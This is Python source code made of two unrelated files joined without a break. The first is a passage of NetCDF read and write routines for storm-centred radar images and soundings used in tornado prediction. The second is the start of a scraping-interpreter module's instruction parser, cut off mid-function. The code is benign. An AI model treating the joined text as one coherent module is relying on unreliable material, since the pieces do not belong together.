example_dict['sounding_matrix']: numpy array (E x H_s x F_s) of storm- centered soundings. :param append_to_file: Boolean flag. If True, this method will append to an existing file. If False, will create a new file, overwriting the existing file if necessary. """ error_checking.assert_is_boolean(append_to_file) include_soundings = SOUNDING_MATRIX_KEY in example_dict if append_to_file: netcdf_dataset = netCDF4.Dataset( netcdf_file_name, 'a', format='NETCDF3_64BIT_OFFSET' ) _compare_metadata( netcdf_dataset=netcdf_dataset, example_dict=example_dict ) num_examples_orig = len(numpy.array( netcdf_dataset.variables[STORM_TIMES_KEY][:] )) num_examples_to_add = len(example_dict[STORM_TIMES_KEY]) this_string_type = 'S{0:d}'.format( netcdf_dataset.dimensions[STORM_ID_CHAR_DIM_KEY].size ) example_dict[FULL_IDS_KEY] = netCDF4.stringtochar(numpy.array( example_dict[FULL_IDS_KEY], dtype=this_string_type )) for this_key in MAIN_KEYS: if (this_key not in REQUIRED_MAIN_KEYS and this_key not in netcdf_dataset.variables): continue netcdf_dataset.variables[this_key][ num_examples_orig:(num_examples_orig + num_examples_to_add), ... ] = example_dict[this_key] netcdf_dataset.close() return # Open file. file_system_utils.mkdir_recursive_if_necessary(file_name=netcdf_file_name) netcdf_dataset = netCDF4.Dataset( netcdf_file_name, 'w', format='NETCDF3_64BIT_OFFSET') # Set global attributes. netcdf_dataset.setncattr( ROTATED_GRIDS_KEY, int(example_dict[ROTATED_GRIDS_KEY]) ) if example_dict[ROTATED_GRIDS_KEY]: netcdf_dataset.setncattr( ROTATED_GRID_SPACING_KEY, numpy.round(int(example_dict[ROTATED_GRID_SPACING_KEY])) ) # Set dimensions. num_storm_id_chars = 10 + numpy.max( numpy.array([len(s) for s in example_dict[FULL_IDS_KEY]]) ) num_radar_field_chars = numpy.max( numpy.array([len(f) for f in example_dict[RADAR_FIELDS_KEY]]) ) num_target_name_chars = numpy.max( numpy.array([len(t) for t in example_dict[TARGET_NAMES_KEY]]) ) num_target_vars = len(example_dict[TARGET_NAMES_KEY]) netcdf_dataset.createDimension(EXAMPLE_DIMENSION_KEY, None) netcdf_dataset.createDimension(TARGET_VARIABLE_DIM_KEY, num_target_vars) netcdf_dataset.createDimension(STORM_ID_CHAR_DIM_KEY, num_storm_id_chars) netcdf_dataset.createDimension( RADAR_FIELD_CHAR_DIM_KEY, num_radar_field_chars ) netcdf_dataset.createDimension( TARGET_NAME_CHAR_DIM_KEY, num_target_name_chars ) if RADAR_IMAGE_MATRIX_KEY in example_dict: num_grid_rows = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[1] num_grid_columns = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[2] num_radar_dimensions = len( example_dict[RADAR_IMAGE_MATRIX_KEY].shape) - 2 if num_radar_dimensions == 3: num_radar_heights = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[3] num_radar_fields = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[4] netcdf_dataset.createDimension( RADAR_FIELD_DIM_KEY, num_radar_fields) netcdf_dataset.createDimension( RADAR_HEIGHT_DIM_KEY, num_radar_heights) else: num_radar_channels = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[3] netcdf_dataset.createDimension( RADAR_CHANNEL_DIM_KEY, num_radar_channels) netcdf_dataset.createDimension(ROW_DIMENSION_KEY, num_grid_rows) netcdf_dataset.createDimension(COLUMN_DIMENSION_KEY, num_grid_columns) else: num_reflectivity_rows = example_dict[REFL_IMAGE_MATRIX_KEY].shape[1] num_reflectivity_columns = example_dict[REFL_IMAGE_MATRIX_KEY].shape[2] num_reflectivity_heights = example_dict[REFL_IMAGE_MATRIX_KEY].shape[3] num_az_shear_rows = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[1] num_az_shear_columns = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[2] num_az_shear_fields = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[3] netcdf_dataset.createDimension( REFL_ROW_DIMENSION_KEY, num_reflectivity_rows) netcdf_dataset.createDimension( REFL_COLUMN_DIMENSION_KEY, num_reflectivity_columns) netcdf_dataset.createDimension( RADAR_HEIGHT_DIM_KEY, num_reflectivity_heights) netcdf_dataset.createDimension( AZ_SHEAR_ROW_DIMENSION_KEY, num_az_shear_rows) netcdf_dataset.createDimension( AZ_SHEAR_COLUMN_DIMENSION_KEY, num_az_shear_columns) netcdf_dataset.createDimension(RADAR_FIELD_DIM_KEY, num_az_shear_fields) num_radar_dimensions = -1 # Add storm IDs. this_string_type = 'S{0:d}'.format(num_storm_id_chars) full_ids_char_array = netCDF4.stringtochar(numpy.array( example_dict[FULL_IDS_KEY], dtype=this_string_type )) netcdf_dataset.createVariable( FULL_IDS_KEY, datatype='S1', dimensions=(EXAMPLE_DIMENSION_KEY, STORM_ID_CHAR_DIM_KEY) ) netcdf_dataset.variables[FULL_IDS_KEY][:] = numpy.array(full_ids_char_array) # Add names of radar fields. this_string_type = 'S{0:d}'.format(num_radar_field_chars) radar_field_names_char_array = netCDF4.stringtochar(numpy.array( example_dict[RADAR_FIELDS_KEY], dtype=this_string_type )) if num_radar_dimensions == 2: this_first_dim_key = RADAR_CHANNEL_DIM_KEY + '' else: this_first_dim_key = RADAR_FIELD_DIM_KEY + '' netcdf_dataset.createVariable( RADAR_FIELDS_KEY, datatype='S1', dimensions=(this_first_dim_key, RADAR_FIELD_CHAR_DIM_KEY) ) netcdf_dataset.variables[RADAR_FIELDS_KEY][:] = numpy.array( radar_field_names_char_array) # Add names of target variables. this_string_type = 'S{0:d}'.format(num_target_name_chars) target_names_char_array = netCDF4.stringtochar(numpy.array( example_dict[TARGET_NAMES_KEY], dtype=this_string_type )) netcdf_dataset.createVariable( TARGET_NAMES_KEY, datatype='S1', dimensions=(TARGET_VARIABLE_DIM_KEY, TARGET_NAME_CHAR_DIM_KEY) ) netcdf_dataset.variables[TARGET_NAMES_KEY][:] = numpy.array( target_names_char_array) # Add storm times. netcdf_dataset.createVariable( STORM_TIMES_KEY, datatype=numpy.int32, dimensions=EXAMPLE_DIMENSION_KEY ) netcdf_dataset.variables[STORM_TIMES_KEY][:] = example_dict[ STORM_TIMES_KEY] # Add target values. netcdf_dataset.createVariable( TARGET_MATRIX_KEY, datatype=numpy.int32, dimensions=(EXAMPLE_DIMENSION_KEY, TARGET_VARIABLE_DIM_KEY) ) netcdf_dataset.variables[TARGET_MATRIX_KEY][:] = example_dict[ TARGET_MATRIX_KEY] # Add radar heights. if num_radar_dimensions == 2: this_dimension_key = RADAR_CHANNEL_DIM_KEY + '' else: this_dimension_key = RADAR_HEIGHT_DIM_KEY + '' netcdf_dataset.createVariable( RADAR_HEIGHTS_KEY, datatype=numpy.int32, dimensions=this_dimension_key ) netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:] = example_dict[ RADAR_HEIGHTS_KEY] # Add storm-centered radar images. if RADAR_IMAGE_MATRIX_KEY in example_dict: if num_radar_dimensions == 3: these_dimensions = ( EXAMPLE_DIMENSION_KEY, ROW_DIMENSION_KEY, COLUMN_DIMENSION_KEY, RADAR_HEIGHT_DIM_KEY, RADAR_FIELD_DIM_KEY ) else: these_dimensions = ( EXAMPLE_DIMENSION_KEY, ROW_DIMENSION_KEY, COLUMN_DIMENSION_KEY, RADAR_CHANNEL_DIM_KEY ) netcdf_dataset.createVariable( RADAR_IMAGE_MATRIX_KEY, datatype=numpy.float32, dimensions=these_dimensions ) netcdf_dataset.variables[RADAR_IMAGE_MATRIX_KEY][:] = example_dict[ RADAR_IMAGE_MATRIX_KEY] else: netcdf_dataset.createVariable( REFL_IMAGE_MATRIX_KEY, datatype=numpy.float32, dimensions=(EXAMPLE_DIMENSION_KEY, REFL_ROW_DIMENSION_KEY, REFL_COLUMN_DIMENSION_KEY, RADAR_HEIGHT_DIM_KEY) ) netcdf_dataset.variables[REFL_IMAGE_MATRIX_KEY][:] = example_dict[ REFL_IMAGE_MATRIX_KEY][..., 0] netcdf_dataset.createVariable( AZ_SHEAR_IMAGE_MATRIX_KEY, datatype=numpy.float32, dimensions=(EXAMPLE_DIMENSION_KEY, AZ_SHEAR_ROW_DIMENSION_KEY, AZ_SHEAR_COLUMN_DIMENSION_KEY, RADAR_FIELD_DIM_KEY) ) netcdf_dataset.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][:] = example_dict[ AZ_SHEAR_IMAGE_MATRIX_KEY] if not include_soundings: netcdf_dataset.close() return num_sounding_heights = example_dict[SOUNDING_MATRIX_KEY].shape[1] num_sounding_fields = example_dict[SOUNDING_MATRIX_KEY].shape[2] num_sounding_field_chars = 1 for j in range(num_sounding_fields): num_sounding_field_chars = max([ num_sounding_field_chars, len(example_dict[SOUNDING_FIELDS_KEY][j]) ]) netcdf_dataset.createDimension( SOUNDING_FIELD_DIM_KEY, num_sounding_fields) netcdf_dataset.createDimension( SOUNDING_HEIGHT_DIM_KEY, num_sounding_heights) netcdf_dataset.createDimension( SOUNDING_FIELD_CHAR_DIM_KEY, num_sounding_field_chars) this_string_type = 'S{0:d}'.format(num_sounding_field_chars) sounding_field_names_char_array = netCDF4.stringtochar(numpy.array( example_dict[SOUNDING_FIELDS_KEY], dtype=this_string_type )) netcdf_dataset.createVariable( SOUNDING_FIELDS_KEY, datatype='S1', dimensions=(SOUNDING_FIELD_DIM_KEY, SOUNDING_FIELD_CHAR_DIM_KEY) ) netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:] = numpy.array( sounding_field_names_char_array) netcdf_dataset.createVariable( SOUNDING_HEIGHTS_KEY, datatype=numpy.int32, dimensions=SOUNDING_HEIGHT_DIM_KEY ) netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:] = example_dict[ SOUNDING_HEIGHTS_KEY] netcdf_dataset.createVariable( SOUNDING_MATRIX_KEY, datatype=numpy.float32, dimensions=(EXAMPLE_DIMENSION_KEY, SOUNDING_HEIGHT_DIM_KEY, SOUNDING_FIELD_DIM_KEY) ) netcdf_dataset.variables[SOUNDING_MATRIX_KEY][:] = example_dict[ SOUNDING_MATRIX_KEY] netcdf_dataset.close() return def read_example_file( netcdf_file_name, read_all_target_vars, target_name=None, metadata_only=False, targets_only=False, include_soundings=True, radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None, sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None, first_time_to_keep_unix_sec=None, last_time_to_keep_unix_sec=None, num_rows_to_keep=None, num_columns_to_keep=None, downsampling_dict=None): """Reads examples from NetCDF file. If `metadata_only == True`, later input args are ignored. If `targets_only == True`, later input args are ignored. :param netcdf_file_name: Path to input file. :param read_all_target_vars: Boolean flag. If True, will read all target variables. If False, will read only `target_name`. Either way, if downsampling is done, it will be based only on `target_name`. :param target_name: Will read this target variable. If `read_all_target_vars == True` and `downsampling_dict is None`, you can leave this alone. :param metadata_only: Boolean flag. If False, this method will read everything. If True, will read everything except predictor and target variables. :param targets_only: Boolean flag. If False, this method will read everything. If True, will read everything except predictors. :param include_soundings: Boolean flag. If True and the file contains soundings, this method will return soundings. Otherwise, no soundings. :param radar_field_names_to_keep: See doc for `_subset_radar_data`. :param radar_heights_to_keep_m_agl: Same. :param sounding_field_names_to_keep: See doc for `_subset_sounding_data`. :param sounding_heights_to_keep_m_agl: Same. :param first_time_to_keep_unix_sec: First time to keep. If `first_time_to_keep_unix_sec is None`, all storm objects will be kept. :param last_time_to_keep_unix_sec: Last time to keep. If `last_time_to_keep_unix_sec is None`, all storm objects will be kept. :param num_rows_to_keep: See doc for `_subset_radar_data`. :param num_columns_to_keep: Same. :param downsampling_dict: See doc for `_filter_examples_by_class`. :return: example_dict: If `read_all_target_vars == True`, dictionary will have all keys listed in doc for `write_example_file`. If `read_all_target_vars == False`, key "target_names" will be replaced by "target_name" and "target_matrix" will be replaced by "target_values". example_dict['target_name']: Name of target variable. example_dict['target_values']: length-E list of target values (integer class labels), where E = number of examples. """ # TODO(thunderhoser): Allow this method to read only soundings without radar # data. if ( target_name == 'tornado_lead-time=0000-3600sec_distance=00000-10000m' ): target_name = ( 'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0' ) error_checking.assert_is_boolean(read_all_target_vars) error_checking.assert_is_boolean(include_soundings) error_checking.assert_is_boolean(metadata_only) error_checking.assert_is_boolean(targets_only) example_dict, netcdf_dataset = _read_metadata_from_example_file( netcdf_file_name=netcdf_file_name, include_soundings=include_soundings) need_main_target_values = ( not read_all_target_vars or downsampling_dict is not None ) if need_main_target_values: target_index = example_dict[TARGET_NAMES_KEY].index(target_name) else: target_index = -1 if not read_all_target_vars: example_dict[TARGET_NAME_KEY] = target_name example_dict.pop(TARGET_NAMES_KEY) if metadata_only: netcdf_dataset.close() return example_dict if need_main_target_values: main_target_values = numpy.array( netcdf_dataset.variables[TARGET_MATRIX_KEY][:, target_index], dtype=int ) else: main_target_values = None if read_all_target_vars: example_dict[TARGET_MATRIX_KEY] = numpy.array( netcdf_dataset.variables[TARGET_MATRIX_KEY][:], dtype=int ) else: example_dict[TARGET_VALUES_KEY] = main_target_values # Subset by time. if first_time_to_keep_unix_sec is None: first_time_to_keep_unix_sec = 0 if last_time_to_keep_unix_sec is None: last_time_to_keep_unix_sec = int(1e12) error_checking.assert_is_integer(first_time_to_keep_unix_sec) error_checking.assert_is_integer(last_time_to_keep_unix_sec) error_checking.assert_is_geq( last_time_to_keep_unix_sec, first_time_to_keep_unix_sec) example_indices_to_keep = numpy.where(numpy.logical_and( example_dict[STORM_TIMES_KEY] >= first_time_to_keep_unix_sec, example_dict[STORM_TIMES_KEY] <= last_time_to_keep_unix_sec ))[0] if downsampling_dict is not None: subindices_to_keep = _filter_examples_by_class( target_values=main_target_values[example_indices_to_keep], downsampling_dict=downsampling_dict ) elif not read_all_target_vars: subindices_to_keep = numpy.where( main_target_values[example_indices_to_keep] != target_val_utils.INVALID_STORM_INTEGER )[0] else: subindices_to_keep = numpy.linspace( 0, len(example_indices_to_keep) - 1, num=len(example_indices_to_keep), dtype=int ) example_indices_to_keep = example_indices_to_keep[subindices_to_keep] if len(example_indices_to_keep) == 0: return None example_dict[FULL_IDS_KEY] = [ example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep ] example_dict[STORM_TIMES_KEY] = ( example_dict[STORM_TIMES_KEY][example_indices_to_keep] ) if read_all_target_vars: example_dict[TARGET_MATRIX_KEY] = ( example_dict[TARGET_MATRIX_KEY][example_indices_to_keep, :] ) else: example_dict[TARGET_VALUES_KEY] = ( example_dict[TARGET_VALUES_KEY][example_indices_to_keep] ) if targets_only: netcdf_dataset.close() return example_dict example_dict = _subset_radar_data( example_dict=example_dict, netcdf_dataset_object=netcdf_dataset, example_indices_to_keep=example_indices_to_keep, field_names_to_keep=radar_field_names_to_keep, heights_to_keep_m_agl=radar_heights_to_keep_m_agl, num_rows_to_keep=num_rows_to_keep, num_columns_to_keep=num_columns_to_keep) if not include_soundings: netcdf_dataset.close() return example_dict example_dict = _subset_sounding_data( example_dict=example_dict, netcdf_dataset_object=netcdf_dataset, example_indices_to_keep=example_indices_to_keep, field_names_to_keep=sounding_field_names_to_keep, heights_to_keep_m_agl=sounding_heights_to_keep_m_agl) netcdf_dataset.close() return example_dict def read_specific_examples( netcdf_file_name, read_all_target_vars, full_storm_id_strings, storm_times_unix_sec, target_name=None, include_soundings=True, radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None, sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None, num_rows_to_keep=None, num_columns_to_keep=None): """Reads specific examples (with specific ID-time pairs) from NetCDF file. :param netcdf_file_name: Path to input file. :param read_all_target_vars: See doc for `read_example_file`. :param full_storm_id_strings: length-E list of storm IDs. :param storm_times_unix_sec: length-E numpy array of valid times. :param target_name: See doc for `read_example_file`. :param metadata_only: Same. :param include_soundings: Same. :param radar_field_names_to_keep: Same. :param radar_heights_to_keep_m_agl: Same. :param sounding_field_names_to_keep: Same. :param sounding_heights_to_keep_m_agl: Same. :param num_rows_to_keep: Same. :param num_columns_to_keep: Same. :return: example_dict: See doc for `write_example_file`. """ if ( target_name == 'tornado_lead-time=0000-3600sec_distance=00000-10000m' ): target_name = ( 'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0' ) error_checking.assert_is_boolean(read_all_target_vars) error_checking.assert_is_boolean(include_soundings) example_dict, dataset_object = _read_metadata_from_example_file( netcdf_file_name=netcdf_file_name, include_soundings=include_soundings) example_indices_to_keep = tracking_utils.find_storm_objects( all_id_strings=example_dict[FULL_IDS_KEY], all_times_unix_sec=example_dict[STORM_TIMES_KEY], id_strings_to_keep=full_storm_id_strings, times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False ) example_dict[FULL_IDS_KEY] = [ example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep ] example_dict[STORM_TIMES_KEY] = example_dict[STORM_TIMES_KEY][ example_indices_to_keep] if read_all_target_vars: example_dict[TARGET_MATRIX_KEY] = numpy.array( dataset_object.variables[TARGET_MATRIX_KEY][ example_indices_to_keep, :], dtype=int ) else: target_index = example_dict[TARGET_NAMES_KEY].index(target_name) example_dict[TARGET_NAME_KEY] = target_name example_dict.pop(TARGET_NAMES_KEY) example_dict[TARGET_VALUES_KEY] = numpy.array( dataset_object.variables[TARGET_MATRIX_KEY][ example_indices_to_keep, target_index], dtype=int ) example_dict = _subset_radar_data( example_dict=example_dict, netcdf_dataset_object=dataset_object, example_indices_to_keep=example_indices_to_keep, field_names_to_keep=radar_field_names_to_keep, heights_to_keep_m_agl=radar_heights_to_keep_m_agl, num_rows_to_keep=num_rows_to_keep, num_columns_to_keep=num_columns_to_keep) if not include_soundings: dataset_object.close() return example_dict example_dict = _subset_sounding_data( example_dict=example_dict, netcdf_dataset_object=dataset_object, example_indices_to_keep=example_indices_to_keep, field_names_to_keep=sounding_field_names_to_keep, heights_to_keep_m_agl=sounding_heights_to_keep_m_agl) dataset_object.close() return example_dict def reduce_examples_3d_to_2d(example_dict, list_of_operation_dicts): """Reduces examples from 3-D to 2-D. If the examples contain both 2-D azimuthal-shear images and 3-D reflectivity images: - Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are required. - "radar_heights_m_agl" should contain only reflectivity heights. - "radar_field_names" should contain only the names of azimuthal-shear fields. If the examples contain 3-D radar images and no 2-D images: - Key "radar_image_matrix" is required. - Each field in "radar_field_names" appears at each height in "radar_heights_m_agl". - Thus, there are F_r elements in "radar_field_names", H_r elements in "radar_heights_m_agl", and F_r * H_r field-height pairs. After dimensionality reduction (from 3-D to 2-D): - Keys "reflectivity_image_matrix_dbz", "az_shear_image_matrix_s01", and "radar_heights_m_agl" will be absent. - Key "radar_image_matrix" will be present. The dimensions will be E x M x N x C. - Key "radar_field_names" will be a length-C list, where the [j]th item is the field name for the [j]th channel of radar_image_matrix (radar_image_matrix[..., j]). - Key "min_radar_heights_m_agl" will be a length-C numpy array, where the [j]th item is the MINIMUM height for the [j]th channel of radar_image_matrix. - Key "max_radar_heights_m_agl" will be a length-C numpy array, where the [j]th item is the MAX height for the [j]th channel of radar_image_matrix. - Key "radar_layer_operation_names" will be a length-C list, where the [j]th item is the name of the operation used to create the [j]th channel of radar_image_matrix. :param example_dict: See doc for `write_example_file`. :param list_of_operation_dicts: See doc for `_check_layer_operation`. :return: example_dict: See general discussion above, for how the input `example_dict` is changed to the output `example_dict`. """ if RADAR_IMAGE_MATRIX_KEY in example_dict: num_radar_dimensions = len( example_dict[RADAR_IMAGE_MATRIX_KEY].shape ) - 2 assert num_radar_dimensions == 3 new_radar_image_matrix = None new_field_names = [] new_min_heights_m_agl = [] new_max_heights_m_agl = [] new_operation_names = [] if AZ_SHEAR_IMAGE_MATRIX_KEY in example_dict: new_radar_image_matrix = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] + 0. for this_field_name in example_dict[RADAR_FIELDS_KEY]: new_field_names.append(this_field_name) new_operation_names.append(MAX_OPERATION_NAME) if this_field_name == radar_utils.LOW_LEVEL_SHEAR_NAME: new_min_heights_m_agl.append(0) new_max_heights_m_agl.append(2000) else: new_min_heights_m_agl.append(3000) new_max_heights_m_agl.append(6000) for this_operation_dict in list_of_operation_dicts: this_new_matrix, this_operation_dict = _apply_layer_operation( example_dict=example_dict, operation_dict=this_operation_dict) this_new_matrix = numpy.expand_dims(this_new_matrix, axis=-1) if new_radar_image_matrix is None: new_radar_image_matrix = this_new_matrix + 0. else: new_radar_image_matrix = numpy.concatenate( (new_radar_image_matrix, this_new_matrix), axis=-1 ) new_field_names.append(this_operation_dict[RADAR_FIELD_KEY]) new_min_heights_m_agl.append(this_operation_dict[MIN_HEIGHT_KEY]) new_max_heights_m_agl.append(this_operation_dict[MAX_HEIGHT_KEY]) new_operation_names.append(this_operation_dict[OPERATION_NAME_KEY]) example_dict.pop(REFL_IMAGE_MATRIX_KEY, None) example_dict.pop(AZ_SHEAR_IMAGE_MATRIX_KEY, None) example_dict.pop(RADAR_HEIGHTS_KEY, None) example_dict[RADAR_IMAGE_MATRIX_KEY] = new_radar_image_matrix example_dict[RADAR_FIELDS_KEY] = new_field_names example_dict[MIN_RADAR_HEIGHTS_KEY] = numpy.array( new_min_heights_m_agl, dtype=int) example_dict[MAX_RADAR_HEIGHTS_KEY] = numpy.array( new_max_heights_m_agl, dtype=int) example_dict[RADAR_LAYER_OPERATION_NAMES_KEY] = new_operation_names return example_dict def create_examples( target_file_names, target_names, num_examples_per_in_file, top_output_dir_name, radar_file_name_matrix=None, reflectivity_file_name_matrix=None, az_shear_file_name_matrix=None, downsampling_dict=None, target_name_for_downsampling=None, sounding_file_names=None): """Creates many input examples. If `radar_file_name_matrix is None`, both `reflectivity_file_name_matrix` and `az_shear_file_name_matrix` must be specified. D = number of SPC dates in time period :param target_file_names: length-D list of paths to target files (will be read by `read_labels_from_netcdf`). :param target_names: See doc for `_check_target_vars`. :param num_examples_per_in_file: Number of examples to read from each input file. :param top_output_dir_name: Name of top-level directory. Files will be written here by `write_example_file`, to locations determined by `find_example_file`. :param radar_file_name_matrix: numpy array created by either `find_storm_images_2d` or `find_storm_images_3d`. Length of the first axis is D. :param reflectivity_file_name_matrix: numpy array created by `find_storm_images_2d3d_myrorss`. Length of the first axis is D. :param az_shear_file_name_matrix: Same. :param downsampling_dict: See doc for `deep_learning_utils.sample_by_class`. If None, there will be no downsampling. :param target_name_for_downsampling: [used only if `downsampling_dict is not None`] Name of target variable to use for downsampling. :param sounding_file_names: length-D list of paths to sounding files (will be read by `soundings.read_soundings`). If None, will not include soundings. """ _check_target_vars(target_names) num_target_vars = len(target_names) if radar_file_name_matrix is None: error_checking.assert_is_numpy_array( reflectivity_file_name_matrix, num_dimensions=2) num_file_times = reflectivity_file_name_matrix.shape[0] these_expected_dim = numpy.array([num_file_times, 2], dtype=int) error_checking.assert_is_numpy_array( az_shear_file_name_matrix, exact_dimensions=these_expected_dim) else: error_checking.assert_is_numpy_array(radar_file_name_matrix) num_file_dimensions = len(radar_file_name_matrix.shape) num_file_times = radar_file_name_matrix.shape[0] error_checking.assert_is_geq(num_file_dimensions, 2) error_checking.assert_is_leq(num_file_dimensions, 3) these_expected_dim = numpy.array([num_file_times], dtype=int) error_checking.assert_is_numpy_array( numpy.array(target_file_names), exact_dimensions=these_expected_dim ) if sounding_file_names is not None: error_checking.assert_is_numpy_array( numpy.array(sounding_file_names), exact_dimensions=these_expected_dim ) error_checking.assert_is_integer(num_examples_per_in_file) error_checking.assert_is_geq(num_examples_per_in_file, 1) full_id_strings = [] storm_times_unix_sec = numpy.array([], dtype=int) target_matrix = None for i in range(num_file_times): print('Reading data from: "{0:s}"...'.format(target_file_names[i])) this_target_dict = target_val_utils.read_target_values( netcdf_file_name=target_file_names[i], target_names=target_names) full_id_strings += this_target_dict[target_val_utils.FULL_IDS_KEY] storm_times_unix_sec = numpy.concatenate(( storm_times_unix_sec, this_target_dict[target_val_utils.VALID_TIMES_KEY] )) if target_matrix is None: target_matrix = ( this_target_dict[target_val_utils.TARGET_MATRIX_KEY] + 0 ) else: target_matrix = numpy.concatenate( (target_matrix, this_target_dict[target_val_utils.TARGET_MATRIX_KEY]), axis=0 ) print('\n') num_examples_found = len(full_id_strings) num_examples_to_use = num_examples_per_in_file * num_file_times if downsampling_dict is None: indices_to_keep = numpy.linspace( 0, num_examples_found - 1, num=num_examples_found, dtype=int) if num_examples_found > num_examples_to_use: indices_to_keep = numpy.random.choice( indices_to_keep, size=num_examples_to_use, replace=False) else: downsampling_index = target_names.index(target_name_for_downsampling) indices_to_keep = dl_utils.sample_by_class( sampling_fraction_by_class_dict=downsampling_dict, target_name=target_name_for_downsampling, target_values=target_matrix[:, downsampling_index], num_examples_total=num_examples_to_use) full_id_strings = [full_id_strings[k] for k in indices_to_keep] storm_times_unix_sec = storm_times_unix_sec[indices_to_keep] target_matrix = target_matrix[indices_to_keep, :] for j in range(num_target_vars): these_unique_classes, these_unique_counts = numpy.unique( target_matrix[:, j], return_counts=True ) for k in range(len(these_unique_classes)): print(( 'Number of examples with "{0:s}" in class {1:d} = {2:d}' ).format( target_names[j], these_unique_classes[k], these_unique_counts[k] )) print('\n') first_spc_date_string = time_conversion.time_to_spc_date_string( numpy.min(storm_times_unix_sec) ) last_spc_date_string = time_conversion.time_to_spc_date_string( numpy.max(storm_times_unix_sec) ) spc_date_strings = time_conversion.get_spc_dates_in_range( first_spc_date_string=first_spc_date_string, last_spc_date_string=last_spc_date_string) spc_date_to_out_file_dict = {} for this_spc_date_string in spc_date_strings: this_file_name = find_example_file( top_directory_name=top_output_dir_name, shuffled=False, spc_date_string=this_spc_date_string, raise_error_if_missing=False) if os.path.isfile(this_file_name): os.remove(this_file_name) spc_date_to_out_file_dict[this_spc_date_string] = this_file_name for i in range(num_file_times): if radar_file_name_matrix is None: this_file_name = reflectivity_file_name_matrix[i, 0] else: this_file_name = numpy.ravel(radar_file_name_matrix[i, ...])[0] this_time_unix_sec, this_spc_date_string = ( storm_images.image_file_name_to_time(this_file_name) ) if this_time_unix_sec is None: this_first_time_unix_sec = ( time_conversion.get_start_of_spc_date(this_spc_date_string) ) this_last_time_unix_sec = ( time_conversion.get_end_of_spc_date(this_spc_date_string) ) else: this_first_time_unix_sec = this_time_unix_sec + 0 this_last_time_unix_sec = this_time_unix_sec + 0 these_indices = numpy.where( numpy.logical_and( storm_times_unix_sec >= this_first_time_unix_sec, storm_times_unix_sec <= this_last_time_unix_sec) )[0] if len(these_indices) == 0: continue these_full_id_strings = [full_id_strings[m] for m in these_indices] these_storm_times_unix_sec = storm_times_unix_sec[these_indices] this_target_matrix = target_matrix[these_indices, :] if sounding_file_names is None: this_sounding_file_name = None else: this_sounding_file_name = sounding_file_names[i] if radar_file_name_matrix is None: this_example_dict = _create_2d3d_examples_myrorss( azimuthal_shear_file_names=az_shear_file_name_matrix[ i, ...].tolist(), reflectivity_file_names=reflectivity_file_name_matrix[ i, ...].tolist(), full_id_strings=these_full_id_strings, storm_times_unix_sec=these_storm_times_unix_sec, target_matrix=this_target_matrix, sounding_file_name=this_sounding_file_name, sounding_field_names=None) elif num_file_dimensions == 3: this_example_dict = _create_3d_examples( radar_file_name_matrix=radar_file_name_matrix[i, ...], full_id_strings=these_full_id_strings, storm_times_unix_sec=these_storm_times_unix_sec, target_matrix=this_target_matrix, sounding_file_name=this_sounding_file_name, sounding_field_names=None) else: this_example_dict = _create_2d_examples( radar_file_names=radar_file_name_matrix[i, ...].tolist(), full_id_strings=these_full_id_strings, storm_times_unix_sec=these_storm_times_unix_sec, target_matrix=this_target_matrix, sounding_file_name=this_sounding_file_name, sounding_field_names=None) print('\n') if this_example_dict is None: continue this_example_dict.update({TARGET_NAMES_KEY: target_names}) this_output_file_name = spc_date_to_out_file_dict[this_spc_date_string] print('Writing examples to: "{0:s}"...'.format(this_output_file_name)) write_example_file( netcdf_file_name=this_output_file_name, example_dict=this_example_dict, append_to_file=os.path.isfile(this_output_file_name) )
import os import re import sys import json import shlex import logging import inspect import functools import importlib from pprint import pformat from collections import namedtuple from traceback import format_tb from requests.exceptions import RequestException import strutil from cachely.loader import Loader from .lib import library, interpreter_library, DataProxy from . import utils from . import core from . import exceptions logger = logging.getLogger(__name__) BASE_LIBS = ['snagit.lib.text', 'snagit.lib.lines', 'snagit.lib.soup'] ReType = type(re.compile('')) class Instruction(namedtuple('Instruction', 'cmd args kws line lineno')): ''' ``Instruction``'s take the form:: command [arg [arg ...]] [key=arg [key=arg ...]] Where ``arg`` can be one of: single quoted string, double quoted string, digit, True, False, None, or a simple, unquoted string. ''' values_pat = r''' [rj]?'(?:(\'|[^'])*?)' | [r]?"(?:(\"|[^"])*?)" | (\d+) | (True|False|None) | ([^\s,]+) ''' args_re = re.compile( r'''^( (?P<kwd>\w[\w\d-]*)=(?P<val>{0}) | (?P<arg>{0}|([\s,]+)) )\s*'''.format(values_pat), re.VERBOSE ) value_dict = {'True': True, 'False': False, 'None': None} def __str__(self): def _repr(w): if isinstance(w, ReType): return 'r"{}"'.format(str(w.pattern)) return repr(w) return '{}{}{}'.format( self.cmd.upper(), ' {}'.format( ' '.join([_repr(c) for c in self.args]) if self.args else '' ), ' {}'.format(' '.join( '{}={}'.format(k, _repr(v)) for k, v in self.kws.items() ) if self.kws else '') ) @classmethod def get_value(cls, s): if s.isdigit(): return int(s) elif s in cls.value_dict: return cls.value_dict[s] elif s.startswith(('r"', "r'")): return re.compile(utils.escaped(s[2:-1])) elif s.startswith("j'"): return json.loads(utils.escaped(s[2:-1])) elif s.startswith(('"', "'")): return utils.escaped(s[1:-1]) else: return s.strip() @classmethod def parse(cls, line, lineno): args = [] kws = {} cmd, text = strutil.splitter(line, expected=2, strip=True) cmd = cmd.lower() while text: m = cls.args_re.search(text) if not m: break gdict = m.groupdict() 